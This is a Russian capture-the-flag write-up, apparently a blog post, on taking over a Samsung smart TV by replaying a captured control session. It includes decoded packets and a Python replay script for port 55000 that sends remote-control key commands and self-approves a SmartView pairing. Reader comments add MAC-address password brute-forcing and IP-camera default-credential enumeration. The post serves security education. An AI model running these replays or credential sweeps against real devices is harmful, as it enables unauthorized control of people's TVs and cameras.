Про опасности использования «умных» телевизоров слышали, наверное, все. Говорят, что они наблюдают за владельцем и прослушивают его разговоры. Но это не тревожит большинство пользователей, которые продолжают спокойно заполнять формы авторизации прямо на экране TV.

Мы решили проверить, реально ли сделать что-то интересное с умным телевизором, не имея физического доступа к нему (спойлер: реально!), и готовы рассказать об этом на примере разбора задания с NeoQUEST!

Исходные данные


Участникам нужно было вывести на экран телевизора определенную картинку. Всё, что у них было — IP-адрес телевизора и дамп сессии, увеличивающей громкость телевизора. Физический доступ к телевизору был закрыт (в том числе ИК-порт), однако при этом участники могли видеть все, что появляется на экране.

Разбираем дамп сессии


Адрес управляющего компьютера — 10.0.20.130, а адрес телевизора — 10.0.20.105. Содержимое дампа сетевого трафика выглядит следующим образом:



Отбросим все служебные пакеты, не несущие смысловой нагрузки. Остается 4 пакета:



С полной структурой пакетов можно ознакомиться по ссылке, мы же рассмотрим наиболее интересные поля.

Итак, первый пакет, который посылает управляющий компьютер, выглядит следующим образом:

0000   00 0c 00 6e 65 6f 71 75   65 73 74 2e 61 70 70 38  ...neoqu est.app8
0010   00 64 00 10 00 54 47 56   6e 61 58 51 67 56 58 4e  .d...TGV naXQgVXN
0020   6c 63 67 3d 3d 10 00 54   6d 39 46 59 58 4e 35 56  lcg==..T m9FYXN5V
0030   32 46 35 54 33 56 30 10   00 54 47 56 6e 61 58 51  2F5T3V0. .TGVnaXQ
0040   67 56 58 4e 6c 63 67 3d   3d                       gVXNlcg= =    

Здесь:

  • «neoquest.app» — строка, которая может принимать любое значение;
  • «TGVnaXQgVXNlcg==» и «Tm9FYXN5V2F5T3V0» — строчки, закодированные в base64. После декодирования получили «Legit User», «NoEasyWayOut» соответственно.

Очевидно, что это пакет авторизации. Второй пакет содержит информацию об успешности авторизации:

0000   00 0c 00 69 61 70 70 2e   73 61 6d 73 75 6e 67 04  ...iapp. samsung.
0010   00 64 00 01 00                                     .d...            

Смысл строки «iapp.samsung» неизвестен, а вот последние 4 байта (64 00 01 00) означают, что авторизация прошла успешно и дальше можно посылать управляющие команды.

Третий пакет является управляющим:

0000   00 0c 00 6e 65 6f 71 75   65 73 74 2e 61 70 70 11  ...neoqu est.app.
0010   00 00 00 00 0c 00 53 30   56 5a 58 31 5a 50 54 46  ......S0 VZX1ZPTF
0020   56 51                                              VQ               

По аналогии, последняя строка (S0VZX1ZPTFVQ) — это команда, закодированная в base64, после декодирования которой получается строка «KEY_VOLUP», увеличивающая громкость телевизора (VOLume UP).

Рассматриваем последний пакет: в его последних четырёх байтах хранятся нули, что указывает на успешное выполнение команды:

0000   00 0c 00 69 61 70 70 2e   73 61 6d 73 75 6e 67 04  ...iapp. samsung.
0010   00 00 00 00 00                                     .....            

Воспроизводим сессию


Первое, что хочется сделать после разбора дампа – попробовать повторно воспроизвести сессию. Для этого пишем небольшой код:

import socket
from base64 import b64encode

tv_ip = "10.0.20.101"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((tv_ip, 55000))

#----Authorization--------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+      b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+      b'\x10\x00'+b64encode(b'Legit User')
sock.sendall(msg)
print(sock.recv(1024))

#----Command--------------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+      b64encode(b'KEY_VOLUP')
sock.sendall(msg)
print(sock.recv(1024))

sock.close()

Запускаем …



Отлично! Телевизор увеличил свою громкость на 1, а это значит, что нам удалось успешно авторизоваться и выполнить команду. На этом завершилась первая часть задания. Едем дальше…

Выводим картинку на экран


Теперь нам каким-то образом нужно вывести картинку на экран. Зная, что подопытный телевизор — фирмы Samsung, и, немного погуглив, находим приложение Samsung SmartView, которое умеет посылать на телевизор картинку, не требуя при этом никакой нетривиальной настройки.

Алгоритм действий в данном случае будет примерно следующий:

  1. Устанавливаем и запускаем SmartView на своем персональном компьютере.
  2. Телевизор автоматически определился, пробуем подключиться.

    На экране телевизора появилось требование авторизовать наше устройство.





    Понимаем, что нам нужно выполнить команду нажатия на кнопку Enter для успешной авторизации. Находим в Интернете описание команд, откуда видим, что нам нужно выбрать «KEY_ENTER».

  3. Запускаем наш код, заменив «KEY_VOLUP» на «KEY_ENTER».

    Измененный код
    import socket
    from base64 import b64encode
    
    tv_ip = "10.0.20.101"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((tv_ip, 55000))
    
    #----Authorization--------
    msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+      b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+      b'\x10\x00'+b64encode(b'Legit User')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    #----Command--------------
    msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+      b64encode(b'KEY_ENTER')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    sock.close()


  4. SmartView успешно авторизован. Осталось выбрать нужную картинку и отправить ее на телевизор!

Неутешительные выводы


Оказалось, что получить доступ к «умному» телевизору и управлять его громкостью и контентом, выводимым на экран, вполне реальная задача!

Вспоминается зловещее предупреждение Евгения Касперского:
Компьютеры заражаются, мобильные телефоны заражаются. Что будет следующее?… Я уверен, что следующий абсолютно новый вид атак будет на умные телевизоры. Все, что выходит в Интернет, все, что будет подключено к сети, рано или поздно будет «хакнуто».

Что делать — идти к своему телевизору и закрывать ему доступ в Интернет? Или срочно приобретать/разрабатывать антивирус для «умных» телевизоров? Или садиться за компьютер и разрабатывать план мщения для недруга?

Это личный выбор каждого. А мы лишь продемонстрировали одну из опасностей Интернета вещей. На этом мы не остановимся: впереди новый NeoQUEST и новые задания, демонстрирующие проблемы обеспечения безопасности современных технологий.
Поделиться с друзьями
-->

Комментарии (26)


  1. Scalar
    23.01.2017 14:42
    +7

    Спасибо за статью, но она скорее не про взлом, а про реверс-инжиниринг протокола по которому работает телевизор.
    «Дайте мне правильный юзернейм и пароль, а также прямой доступ по сети к устройству, и я его взломаю.»


    1. NWOcs
      23.01.2017 15:36
      +1

      Вы правы, что для успешной атаки необходим доступ к локальной сети, однако наличие юзернейма и пароля вовсе не требуется.
      Smart View авторизует устройство, используя лишь его MAC-адрес, который отправляется в пакете авторизации и может не совпадать с реальным MAC-адресом. Таким образом, получив список MAC-адресов устройств в локальной сети, можно перебирать их, пока первый байт ответа не будет равен 0 (что означает успешную авторизацию). А количество попыток авторизации ничем не ограничено.


      1. Scalar
        23.01.2017 16:46

        Я возможно что-то не так понял, но как нажать «KEY_ENTER», не послав правильный логин и пароль?


        1. NWOcs
          23.01.2017 17:19

          В нашем примере «Legit User» — логин, «NoEasyWayOut» — пароль. Механизм аутентификации работает таким образом, что ему неважно, какая строчка передается в качестве логина, он проверяет только пароль. Например, если мы пошлем «admin»/«NoEasyWayOut», аутентификация также будет успешна.

          Насчет пароля Вы правы: его придется узнать, для этого есть как минимум два способа:
          1. Поиск в дампе трафика. Если, например, мы подключены к одной Wi-Fi точке с клиентом, то можно довольно легко словить пакеты авторизации. Ситуация аналогична описанной в статье.
          2. Зная, что Smart View (да и многие другие приложения) в качестве пароля использует MAC, можно просканировать локальную сеть и перебрать все имеющиеся MAC адреса.

          Отвечая на Ваш вопрос, чтобы нажать «KEY_ENTER», нужно отправить пароль, полученный одним из способов и любой логин.


          1. Scalar
            23.01.2017 19:08
            +1

            Ясно, спасибо за разъяснение.
            Только у вас в статье про MAC адреса ни слова.


          1. mkll
            23.01.2017 19:43
            +1

            Погодите — правильно ли я понял, что авторизуемое устройство (запрос на авторизацию которого виден на экране) само себя и авторизует, дистанционно нажав за пользователя «Enter»?


            1. NWOcs
              24.01.2017 16:57

              Да, всё верно. Наш коротенький скрипт авторизует Smart View, оба запущены на одной машине.
              Можно сделать красиво и незаметно, но придется реализовывать необходимый функционал вручную, а от участников этого не требовалось.


            1. NasretdinovRR
              24.01.2017 17:52

              Верно. Для работы приложения Smart View на ПК авторизация пройдена обходным путём — команда Enter была не нажата на пульте а отправлена по локальной сети.


              1. mkll
                24.01.2017 18:12

                Но это же дырка в безопасности: достаточно разрешить доступ одному приложению на стороннем устройстве — и с этого устройства можно понаразрешать доступов любым другим приложениям. Ай да Samsung!


  1. BigD
    23.01.2017 14:49
    +1

    Недавно запретил на роутере доступ в Интернет для своего Samsung Smart TV 2012 года. Этот девайс не имеет возможности отключить опцию своего обновления, и постоянно мешал ребёнку смотреть мультики своими частыми обновлениями. А поскольку мультики крутит Apple TV, доступ в инет телевизору и не нужен.


  1. Meklon
    23.01.2017 15:15
    +2

    Я свой LG сделал тупым дисплеем. И отказался принимать пользовательское соглашение. Телевизор был очень расстроен. Естественно, интернета я ему тоже не дал) все равно никто из смартов рядом с Kodi даже не валялся.


    1. hdfan2
      24.01.2017 07:07
      +2

      Звучит как юмористический рассказ 15-20-летней давности. «Поссорились с телевизором. Теперь он в отместку круглые сутки показывает Первый канал. Выдержал два дня, потом сломался, принял пользовательское соглашение и дал ему интернет».


    1. monah_tuk
      24.01.2017 07:21

      Кстати, а что изменилось в функциональном плане при непринятии лицензии?


      1. Meklon
        24.01.2017 09:19
        +1

        Наверное, какие-то ненужные рекламные функции "смарт" не работают. Обычные настройки телевизора-дисплея в порядке. А этот шлак с подписками я в гробу видал.


  1. devalone
    23.01.2017 16:36
    +1

    Как вариант, можно не делать проброс 55000 порта на роутере :)


  1. Psychosynthesis
    24.01.2017 01:24

    Я вот не могу понять, все эти истерики по поводу уязвимости устройств и прочее, они, получается в случаях, когда устройства сидят за NAT без проброса портов вообще неуместны?


    1. BigD
      24.01.2017 08:03

      Скоро IPv6 придёт..


    1. Demon_i
      24.01.2017 17:52

      А в чем проблема? У меня сейчас видны 3 роутера с открытым WiF? Хомячки — они не заморачиваются. Купил — включил. Все работает.


    1. GH0st3rs
      27.01.2017 00:40

      Вардрайвинг ещё никто не отменял, к тому же в чем проблема, запустить Reaver + airodump + pyrit и при правильном выборе железа и конечного словаря, получить доступ к локалкам всех соседей вокруг? Многоквартирный дом, это одно. Я знаю достаточно бизнес центров, в которых мелкие о не очень конторки не особо суетятся о безопасности, выставляя в качестве пароля на WiFi номер кабинета, а котором сидит начальник. Вот тут уже проблема более актуальна.


  1. Inter-A
    24.01.2017 17:52

    Спасибо за статью. В продолжении было бы интересно увидеть реализацию «страшилки» из начала статью. Т.е. получение картинки с «камеры» и «микрофона» телевизора. Выбрать модель смарт TV который поодерживают скайп.
    Я, если честно, не вижу в этом всем отдельной проблемы. Вернемся к той же «страшилки» — большой брат следит за тобой. Возьмем обычный ноутбук. Камера есть. Микрофон есть. Соединение с инетом есть. Т.е. все условия что бы сделать из ноута «жучек» на физическом уровне выполнены. (В смартфонах то же). Вопрос лишь в ПО которое позволяет или не позволяет передавать данные с камеры и микрофона третьим лицам без нашего желания.
    Теперь перейдем к интернету вещей. Что такое смарт ТВ. Грубо говоря тот же самый ноутбук/смартфон (компьютер) только с большим экраном. Что такое «умный холодильник» — тот же самый ноутбук/смартфон (компьютер) только с функцией холодильника. А значит и принципы безопасности будут одни и те же.

    Судя по статье в данной модели телевизора производитель не стал заморачиваться с безопасностью. Но если будет пара взломов и жалоб от покупателей, то выпустят обновление, где логин и пароль будут обязательны для любой команды. Плюс применят не только кодирование но и шифрование пакетов вплоть до «квантовой криптографии» )))


    1. mkll
      24.01.2017 18:33

      Судя по статье в данной модели телевизора производитель не стал заморачиваться с безопасностью. Но если будет пара взломов и жалоб от покупателей, то выпустят обновление


      Судя по тому, как обстоят дела с IP-камерами, то даже именитые производители (Sony) не заморачиваются с безопасностью, хотя там была не «пара взломов», а цельный ботнет (Mirai).


      1. Inter-A
        24.01.2017 20:34

        С камерами я сам «баловался». Был, а может и есть китайский производитель домашних ip-камер, который предоставлял облачный сервис для удаленного просмотра камеры через инет. Сервис был по умолчанию включен. Логин — серийный номер камеры (идут по порядку), пароль к облаку = паролю пользователя, по умолчанию admin. Перебираем в цикле логины с паролем по умолчанию, пытаемся конектится к облаку — в 30% случаев получаем картинку из дома китайцев. )))


        1. mkll
          24.01.2017 21:01

          Во-о-от! ;) Т.е. это раньше было позволительно себя успокаивать мыслью о том, что, дескать, производители же не дураки, они же предпринимают меры безопасности, и пользователи не дураки, они же… Но вот выяснилось же, что — дураки. И те, и другие. И если пользователям простительно — они не обязаны, в сущности, разбираться в этих аспектах (хотя тоже спорный тезис, но ладно, пусть будут не обязаны), то производители-то! Как можно быть настолько безответственными?


          1. Inter-A
            24.01.2017 21:18

            Старый анекдот:
            «До армии я крепко спал — думал мой покой охраняют.
            В армии я не спал — сам охранял покой соотечественников.
            После армии не могу спокойно спать, потому что знаю кто и как охраняет мой покой.» )))

            Это глобальная проблема. Те же «китайские двери» и «пластиковые окна» очень легко открываются, но мы «верим» что они защитят наше жилье.

            Производители конечно должны более ответственно подходить к безопасности продукции, по крайне мере закрывать 99% известных уязвимостей. Но если пользователь юзает пароль «123» то это уже его проблемы.


  1. instalator
    24.01.2017 17:52

    А по телевизорам Toshiba нету информации как работает API?


  1. MirlanB
    27.01.2017 12:05

    круто